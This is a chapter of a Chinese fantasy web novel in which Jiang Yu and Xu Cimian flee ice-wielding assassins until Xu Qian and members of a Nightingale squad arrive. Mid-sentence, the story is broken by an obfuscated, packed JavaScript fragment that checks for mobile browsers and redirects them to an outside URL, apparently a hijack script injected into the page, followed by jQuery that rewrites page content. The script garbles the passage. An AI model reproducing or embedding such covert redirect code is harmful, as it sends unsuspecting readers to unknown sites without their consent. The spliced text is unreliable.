姜渔听着邢先生割席的话语，发现冰晶扩散的速度并未减缓。她依靠在最后，持枪对准电梯门，慎重说：“拿出你们的本事吧，老板们。这个电梯没有你们想象中那么安全。” 能用枪解决，就用枪解决，万不得已时，再动用园长之嘴。姜渔正在心里计划着，看到厚重的电梯门瞬间炸开！几乎是同时，她的手腕一凉，一层蓝冰赫然扣上她的手腕，令她无法开枪，下一秒，数根巨大冰锥从飞驰的碎铁中出现，它穿破许辞眠召出的黑蛇之强，直取首级！ “住手！” 千钧一发之际，姜渔厉声喊道，她喘着粗气，胸口已经挂上“园长之嘴”的徽章。 随着一句话说出，姜渔感觉到自己全身的力气都被抽干了，这是以前从未发生过的情况。她抽出心思去看另外两人，邢先生的喉咙已经渗出血迹，他的皮肤很奇怪，冰锥的尖端刺破了他的皮肤，导致他的皮肤微微绽开，露出下面又一层皮肤。这个人似乎穿着一层极薄的防护服，以至于第一次遭受水刃攻击时，仍然毫发无伤。至于许辞眠，他没有受伤，冰锥的尖端抵在他的额头，只有几毫米的距离。 两人都怔怔地看向姜渔，喉间同时耸动。 姜渔敏锐地察觉到了一丝不对劲之处：刺向她的冰锥，瞄准的却是她的大腿，像是只需要让她丧失行动力一样…… 可她们下的手，可不像要留什么活口。施展冰锥的人，更不像会失误射偏的角色。再加上最初的那次水刃暗杀，姜渔也感到攻击力并非十分致命。种种加在一起，都像是要留姜渔性命一样。 ……冲我来的？ 邢先生之前说的话此时全部化作回旋镖，飞入姜渔脑海。三个探索级，快赶上一个夜莺小队了，甚至还有一个正义级…… 这些放在主城中都能只手遮天的人，专门过来抓她？ 姜渔也觉得荒谬，但她也无暇再顾及这些了。她看向电梯外，破碎的电梯门后，灰尘散开，露出一个笔直站立的寸头年轻女人，她目光中没有一丝感情，浅蓝瞳孔犹如透明一样。 此时此刻，她正抬起右掌面对三人，在她身后，是那三名走廊上的黑衣探索级敌人。 “我不管你是什么人，这里的水很深，不是你能弄明白的。大风大浪我见多了，给你一句建议，现在开始，计时一分三十秒，带着你的人，用最快的速度前往城外。” 姜渔气喘吁吁地，努力保持口齿清晰，“第二，一分三十秒后，不管你们到了哪里，开始互相交手。因为你们刺杀计划已经失败，需要立即复盘，到底是谁的实力拖了后腿。” “还愣着干什么，拖拖沓沓。现在，快走！” 姜渔沉声下令，她没敢把话说得太慢，毕竟之前面对许辞眠时，许辞眠还会顶嘴几句。若是下令让这几个人互相残杀下死手，引发他们的抗拒，只会浪费时间。 双方僵持几秒，寸头女人一挥手，四个人开始后撤，速度加快，化作一道道残影消失在大堂中。 姜渔这才松了口气，她看向两人说：“还愣着什么，快跑！我拖不了他们太久！” 姜渔唤醒了还在发呆的二人，二人如蒙大赦，纷纷冲出电梯。三人冲出大堂，路过经理的尸体，当穿过转门时，看到停在路边的车已经全部被砍得四分五裂，地上全是融化的冰块。 邢先生忽然站停，说：“两位各有神通，我就不跟着两位了。许总，这是你的麻烦，跑吧。活下来，我们还是最值得信任的朋友。” 说完，他竟然转身也向城外的方向跑去，在仅仅十几米外拐入了一间商铺，显然另有手段逃跑。 “信任你大爷。”许辞眠从齿间恨意十足地骂道。 “快跑，边跑边叫人。她们很快就会回来。”姜渔则拽上他在街上飞驰。 沿途跑了几步，所见车辆都已经被毁坏。荒凉的脏乱街道上，人烟稀少，只有混混与酒鬼们看着损坏的车辆骂街，不时拿起电话又放下。 姜渔也拿出手机，拨打法斯特的电话。她思来想去，苗宁象能力与黑客有关，辛司政大概率在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864146|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙任务，只有法斯特帮上忙的可能性最大。 可是电话中传来忙音。 “我也打不通，这片区域的信号都被屏蔽了。”许辞眠看到姜渔放下手机，喘着粗气说。 姜渔心思一动，再次拨电话，这次她拨给了苗宁象——果然，电话中成功响起正在拨通的声音。苗宁象对这些电子设备研究透彻，或许能绕过这种屏蔽信号的装置。 “姜姐，遇到危险了吗？”电话被很快接通，苗宁象语气急促：“你的来电是通过我的电脑接通的，这代表你那里没有任何信号！你还在城里吗？” “我知道。”姜渔看到一丝希望，看了眼身后，三分钟时间已经过去，人还没有追上来。她们两个人大多贴墙奔跑，用来躲避身形，显然起到很大作用，她急声说：“有人追杀我，在曙光信用公社这边。三个探索级，一个正义级。” “……你惹上夜莺了？”苗宁象听到敌人的信息后语气愕然。 “不确定，应该不是。”姜渔说，“这几条街道的车都被毁了，他们做得很绝，恐怕不会轻易放过我们。我可以躲到店里，但不知道他们有没有什么手段找上我们。” 许辞眠听到姜渔的话，如醍醐灌顶，奔跑时驱动黑蛇，灵巧地勾走几个行人的外套与鸭舌帽，递给姜渔。因为两人体力都非常人所及，几步便拉开后面叫骂追逐的行人，随后两人绕过一条街道，边跑边换上，转眼已经换了副样子。 姜渔穿着一身黑色棒球服，带着红蓝相间的帽子，说：“我需要帮助，越快越好。” “那边是混混和低级罪犯聚集的地方，精卫的人很少有人愿意在那里活动……”苗宁象语气为难，说，“随时保持联系，我想想有什么办法。” “好。” 姜渔挂断电话，与许辞眠一路狂奔。只要逃出这片街区，回到闹市，可能就可以躲过追杀了，若是留在这里，迟早会被对方找到。谁也不知道对方在这里留了什么后手。 又狂奔几公里后，两人前方出现一个十字路口，颓败的高楼林立四周，路口空无一人，红绿灯只剩下灯罩碎片。 许辞眠看到了希望，说：“这儿是外环与城里的缓冲地带，快进城了……” 话音未落，两人猛地停下脚步。姜渔看向许辞眠紧张的双眼，知道他也感受到了熟悉的温度。一股寒意正在四周蔓延！姜渔肃然回头，身后那名寸头年轻女人正带着三个黑衣人以极快的速度冲来！ 见姜渔二人发现了她们的追逐，寸头女人毫无表情地跃向空中，这一跃足有十几层楼那么高，阳光在她的背后，照出她脚下的一层薄薄冰路。她顺着冰路从空中俯冲，两根尖锐的冰锥随着奔跑逐渐凝聚成型！ 来了。姜渔捏紧了拳头，她们一路已经足够隐蔽，但还是被追上了，证明对方就是有办法找到两人的行踪，还好没有选择一个地方躲藏。 虽然现在依然与绝境无异。 姜渔盯着逐渐逼近的寸头女，做好了准备。此时，只能先进入1301室将玄桃枝拿出来了。这是她的最后一搏，也是她现在唯一的底牌。这个底牌很苍白，她根本不知道玄桃枝的作用究竟是什么。 然而，就在寸头女虚空掷出冰锥的一瞬间，姜渔还没凝神进入1301室，就被身后传来的耀眼金色光芒闪了眼睛。 那是一道电芒，从身后的半空射来，照亮街道上的所有阴影，它以闪电般的速度撞向射向许辞眠的冰锥，两者相撞，迸发出剧烈的爆炸！ 寸头女适时在半空中的薄冰上站定，她漠然看去，另一支刺向姜渔的冰锥也停滞在半空中。 一根银色钢索捆住了巨大的冰锥，并在持续缩紧，很快，冰锥出现瓦解的势头，伴随噼里啪啦的声响，冰锥被银色钢索绞成碎片。 姜渔的心在狂跳，她觉得那道金色光芒仿佛在哪见过，不过那不是重点，因为那道闪电不是来救她的。 她顺着钢索的尽头望去，一个女人站在六层废弃高楼上，钢索像有生命一般收回她的腰间，眉眼中散着浓郁与痴狂的战意。 姜渔认出了她，丁素小队，唐千苇。 “这么狼狈啊，老朋友。”因为四下寂静，唐千苇的声音清晰可见，她看了眼姜渔，随后充满战意的目光转回了寸头女人，“正义级，却也合理。” 姜渔没有回应唐千苇的调戏。 至于另一个…… 姜渔扭头看向身后，十字路口中央，一个男人穿着一身灰色运动服，头发有些乱，像是刚从日常的跑步中赶场过来一样，此时正抬着手，指尖电芒闪烁。 姜渔目光一缩。 那是在陆伯原幻境沼泽中出现过的悠然哥。 而身边的许辞眠，看向悠然哥的眼神中并没有一丝被救下的庆幸与感激，反而充满了忌惮。 “许乾。”他咬着牙轻声说。 84. 三人同台 姜渔在猎人论坛上听过许乾的名字。当时她刚刚接下许江竹的单子。那是一个很有阴谋论的帖子，帖子中，许乾中了许江竹的计，在许氏集团中的地位急转直下。 姜渔看向许乾，他的穿着确实与两位许氏继承人不同，没有那种时常出没于高档场所的体面感，而是有一种居家日常的氛围，对比之下难免显得有些落寞颓丧。 许乾悠然开口，“许辞眠啊，许辞眠，真是好久不见。” “你怎么来了？”许辞眠冷声反问。 “我也不想来的，可谁让父亲指派保护你的人都死了呢。不得已之下，只好挪一挪我这颗可怜的弃子了。”许乾摇头，嘴角挂起一丝意味深长的笑，“惹出这么大的乱子，自己又处理不干净。我回到集团的日子应该不远了。” “你闯的祸不比我小，看来你还是不知道自己给集团带来了多大的损失。”许辞眠淡淡说。 “总裁当久了，满嘴都是生意。你忘了提升实力，确实应该被雪藏历练一下。”许乾两眼笑成弯弯的月牙，话却诛心，“以后就不会像今天这样，给我翻身的机会了。现在，你给我滚到一边去。” 说完，许乾瞟了一眼姜渔，说：“父亲给我的任务是斩杀敌人，将你带回集团。杂鱼的小命，我顾不上。你最好是一个人滚远点，免得打起来给我添乱。” 身为许乾口中的杂鱼，姜渔心中腾地升起一股无名火。 这帮许氏集团的人不是叫她贷渔就是叫她杂鱼，把她喊得跟什么海产似的。 姜渔暗自记下这笔账。她可是记得许乾在幻境说过，那个“在洗澡时电击自己”的怪癖秘密。 以后，要找个机会，让他丢尽脸面。她心底开始谋划起来。 另一边，许乾双手握拳，闪烁跃动的金色电芒，像被什么力量挤压一样，安分下来，它们凝结成束，像几条金色河流，围绕着双臂缓慢流动。 许乾目中电芒闪过，与姜渔在幻境中看到的许江竹最后姿态一般无二。 “一个正义级，三个探索级？”许乾目中电芒消散，微微皱眉。 “你这么弱，却要惹上这些人？”许乾问许辞眠。 “我不知道他们怎么找上我的。”许辞眠瘪瘪嘴，说，“我已经滚到一边了，接下来，看你的。” “明白了。”许乾重新看向对面，喃喃说，“想翻身，果真是要靠拼命才行……” 他忽然记起来什么，抬头看向身穿银黑拼灰夜莺制服的唐千苇，“尊敬的夜莺小姐，请问你有什么打算？” “夜莺不鼓励任何联邦公民擅自参与到战斗中，这是为了你们的安全着想。”唐千苇的回答很官方，对拥有非凡能力的许乾视而不见。这就是来自夜莺的自信。 “城里的斗殴也管吗？这不应该是市警局或者巡城部的事情吗？”许乾听了，顿时涌上一股如释重负的感觉。 “本案由市警局借调夜莺队员辅助调查。”唐千苇微笑回答。 看来两个人不是一道来的。姜渔心里嘀咕着，和许辞眠一样快走几步躲在墙边的阴影下，她看向街道另一侧，寸头女声安静地站在半空中，脚下三个黑衣人呈三角成型战力，同样在观察这边的局势。 以偷袭开始的暗杀行动已经彻底失败，接下来，就看她们要不要决定转向正面交锋了。 姜渔平复了心情，说：“现在这种情况，还需要我绑架你的借口吗？” 姜渔显然没本事搞出这么大阵势。 “……不用了。”许辞眠沉默几秒说：“我还是为了债款的事情来的，从辐射体中心离开后，我们受到了追杀，于是躲进这里。我们什么人也没见到。你能活下来的话，就对外这么说。” 许辞眠看向靠近自己的姜渔，说：“不过，你没听到那家伙的话么？他可没准备救你。” “我相信我们坚固的友谊。”姜渔目光真诚。 “保命要紧，那个夜莺队员看上去也只是探索级。事情还没有结束，我们随时可能全部死在这里。”许辞眠忧心忡忡地看着唐千苇，说，“你命好，正好赶上夜莺被市警局借调，刚刚才救下你。不然，我恐怕真保不下你。” 姜渔记得，刺向自己的那根冰锥是被唐千苇绞碎的。 但有之前的猜测，她隐约觉得，那根冰锥也不会要自己的命…… 不过，无论被杀死还是被抓，她都不想经历。 “这就是孤身一人的劣势。留在我身边，我会让许乾知道你对我的重要性，他多少会分出余力照顾你。”许辞眠看到姜渔沉默，以为姜渔被自己说得落寞了，语气平淡地继续加码，“这个时代，孤零零的，不会有人管你。今天夜莺的到来是一次巧合，下一次可不会。精卫那帮人，又有谁能靠得住？你心里应该清楚。” “好了，老板。” 姜渔打断许辞眠的话。 虽然没人管她是事实，但她还是被许辞眠剖析得很不爽。 她看了眼表情冷漠的许辞眠，说：“开心点，虽然过程很危险，但你的目标还是达到了。不是吗？” 许辞眠皱眉：“什么意思？” “不是达成交易了吗？”姜渔说，她看了看许辞眠前后左右，惊讶说：“等等，那个玄桃枝呢？” “你晕倒的时候，发生了一些事。”许辞眠听到姜渔的问话，心抽搐了一下。 他不想告诉姜渔自己把玄桃枝弄丢了，还是在逼仄的电梯厢内。这件事太离谱，而且，说出口也会有一种他竹篮打水一场空的感觉。给了钱，挨了揍，丢了脸，最后把刚买的玄桃枝弄丢了。这简直就是一个天选衰仔好不好？ 他刚刚还在高高在上地规劝姜渔，现在可不想给姜渔留下这种印象。 “哦~”姜渔拉长音调，很懂地看着许辞眠说：“你用黑蛇把它藏起来了，对不对？” “不说这些了。”许辞眠面色冷漠，努力坚强。 他看向天上的寸头女人，目光中恨意十足。现在看来，只可能是那帮人的把戏…… “喂，你们几个，因涉嫌绑架、谋杀、纵火，夜莺机动队将依法对你们进行逮捕。现在伏法，从轻处理。”唐千苇在楼顶上喊话。 “夜莺小姐，不然还是让联邦公民辅助您进行逮捕吧。那个女人是正义级。”许乾在下面友善地说，“您看上去也是探索级？不是他们的对手。” 许乾刚刚说完，另一边的寸头女人终于有了动作。 似乎是看到许乾与唐千苇都打定主意插手，她果断挥手，两名探索级黑衣人瞬间爆发冲刺！两人动作像是从一个模子刻出来的，步伐与姿势极其一致，途中两人一挥手，手上各自多出一把细身剑，齐齐冲向路口中央的许乾，而不是下令逮捕的唐千苇。 两人的身形隐在一团白雾中，令人看不清他们的动作。这股白雾来自站在原地的最后一个黑衣人，她双手掐着一种古老的手印，身上白雾吞吐，连接着两人，似乎对冲击的二人有不小的增益作用。 这应该也是最开始发起暗杀的人。姜渔观察着场上的局势，暗暗分析。 与此同时，许乾那边见两人的目标是自己，周身电芒大作，身上各处响起滚滚闷雷声，宽松的运动服下肌肉骤涨，他冷哼一声，留在原地一道残影，真身已经与两人纠缠在一起！ 唐千苇眉头一皱，看向空中的寸头女人，不再多言，率先发难，一条钢索从腰间甩向身后的空中，钢索极长，甩至天际时，又顺势劈下，钢索霎时变得更细了，如发丝一般，发出尖锐的破空啸声！ 下一秒，目睹战斗的姜渔瞳孔一缩。 她看到那根难辨位置的银色钢丝，劈向寸头女人时，在距离对方还有十数米时，就已经发出阵阵冰裂之声。 随着冰裂声响起，寸头女人周围的“空间”开始碎裂，一块块冰块坠落在地，砸出声声闷响，显然硬度极强。寸头女人根本没有抬眼去看困在冰块中的钢丝，她的眼神依然空洞无情，注视着姜渔与许辞眠的方向。 ……原来在刚刚几人对话的时候，寸头女人已经在自己周身，构造出了一个十数米的冰墙！ 那是一个肉眼难见的绝对防御领域，阳光透过冰墙，没有任何折射现象，即如空气一般透明。 唐千苇试图抽回钢丝，却发现厚度足有十数米的冰墙已经再度凝结，将钢丝死死冻在其中。 她暗喊一声不妙。她对正义级的实力有所了解，但还是低估了眼前寸头女人的实力。 唐千苇眼神焦急地看向街道。 路口中央，许乾也叫苦不迭。他吃了大亏，身上已经被细身剑留下许多伤口，可是浓稠的白雾始终遮挡着他的视线，令他的电芒也无法驱散这些。 隐约间他能看见黑衣人头戴的黑色机器眼罩，知道这两个家伙很可能是凭借着这种机器，才能透过白雾看到自己的动作。 他想抽身，从远处进行攻击，却已经为时已晚。这两个动作极其一致的黑衣人，步伐玄妙，始终切断了他的退路，配合紧密无间…… 明明是探索级，却还在用这么下三滥的招数！ 许乾心里涌 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许辞眠……该死，许辞眠！ 早知道敌人是如此的变态，他肯定不会接许明生那一通电话！ 另一边，寸头女人再次轻轻抬手，这一次，虚空中浮现出四根冰锥。四根冰锥与以往不同，它们刚刚凝聚成型，就已经化为浓郁的黑色，其中幽光流转。不用想都知道这是她更加全力的一击。 女人没有犹豫，挥手之下，四根冰锥纷纷刺向场中的四个人！ 结束了吗？ 许辞眠与许乾两人心里都生出了绝望。在正义级的强者面前，他们就是待宰的羔羊。 一瞬间，唐千苇目中狠色一闪，竟不再躲避，而是任由冰锥在自己身后追击，而自己却纵身一跃，扑向姜渔！ 姜渔愣了愣，再一次停止要去往1301室取回玄桃枝的动作，如果此时晕倒，那么一定会打乱唐千苇的计划。 可她要做什么？ 不顾自己性命，选择救我？ 姜渔没办法接受这个结果，她正要出声，另一侧的街道尽头，传来砰砰砰砰四声枪响！ 枪响之后，几乎已经刺进四人体内的冰锥，猛然一滞，紧接着冰锥上燃起黑色的焰火，转眼间泯灭如烟，像是被黑洞吞没一样，瞬间消失，没有留下任何痕迹，哪怕一滴冰水。 唐千苇已经来到地面，她听到枪响后，眉间瞬间轻松不少，动作也轻盈许多，没有扑倒姜渔，只是将姜渔推到阴影的更深处。 姜渔则顺着唐千苇的推力，踉跄后退几步。此时，场中所有人都被枪声吸引，停下了动作，与许乾许辞眠一样，姜渔也情不自禁地看向枪响的方向。 道路尽头，丁素只身一人战力，她稳稳持枪瞄准这一边，目光冷酷，正在下令：“全力保护姜渔！” 两声答“是”的声响从不同方向响起。 姜渔循声望去，是丁素小队中的宋涯，他的右臂上有一道道竖立的漆黑骨刃，正从路口另一侧冲出来，将许乾与黑衣人的对峙再次切开，直至姜渔面前停下。 至于另一道声音。 姜渔抬起头，熟悉的身影从墙的另一侧翻身跃来，一脚将刚刚感到安心的许辞眠踢飞几米远。 陆伯原落在地上，声音平静：“姜渔安全。” 形势转眼之间再度发生骤变，听到丁素小队对话的许乾，眼神逐渐变得不可置信，他看向被三个夜莺队员围住的杂鱼女人。 许乾还记得唐千苇的回答，是市警局借调夜莺小队辅佐办案。但刚刚丁素所说的，完全是有明确的行动目标倾向，即全力保护姜渔—— 好像并没有透露出保护公民的意思。 所以，很大概率上，市警局根本没有借调夜莺小队，而是夜莺小队和许氏集团一样，在发现城里的伤亡事件后，第一时间开展行动，为了救下他们想保护的那个人！ 这个姜渔……到底是什么人！？明明一副在许辞眠身边打工的样子，却能惊动一支夜莺小队几乎全员出动！？ ……还有那个家伙。 许乾看向一脚踢飞许辞眠的陆伯原，觉得那家伙眉眼间有种说不上来的熟悉。那是一种熟悉的讨厌感，让他眉头不禁皱起。 夜莺机动队的人，不会没有眼色。怎么看都知道，许辞眠和那个姜渔，是一起的伙伴，不会对姜渔有什么危险举动。 那一脚，完全是私仇吧…… 那家伙什么毛病？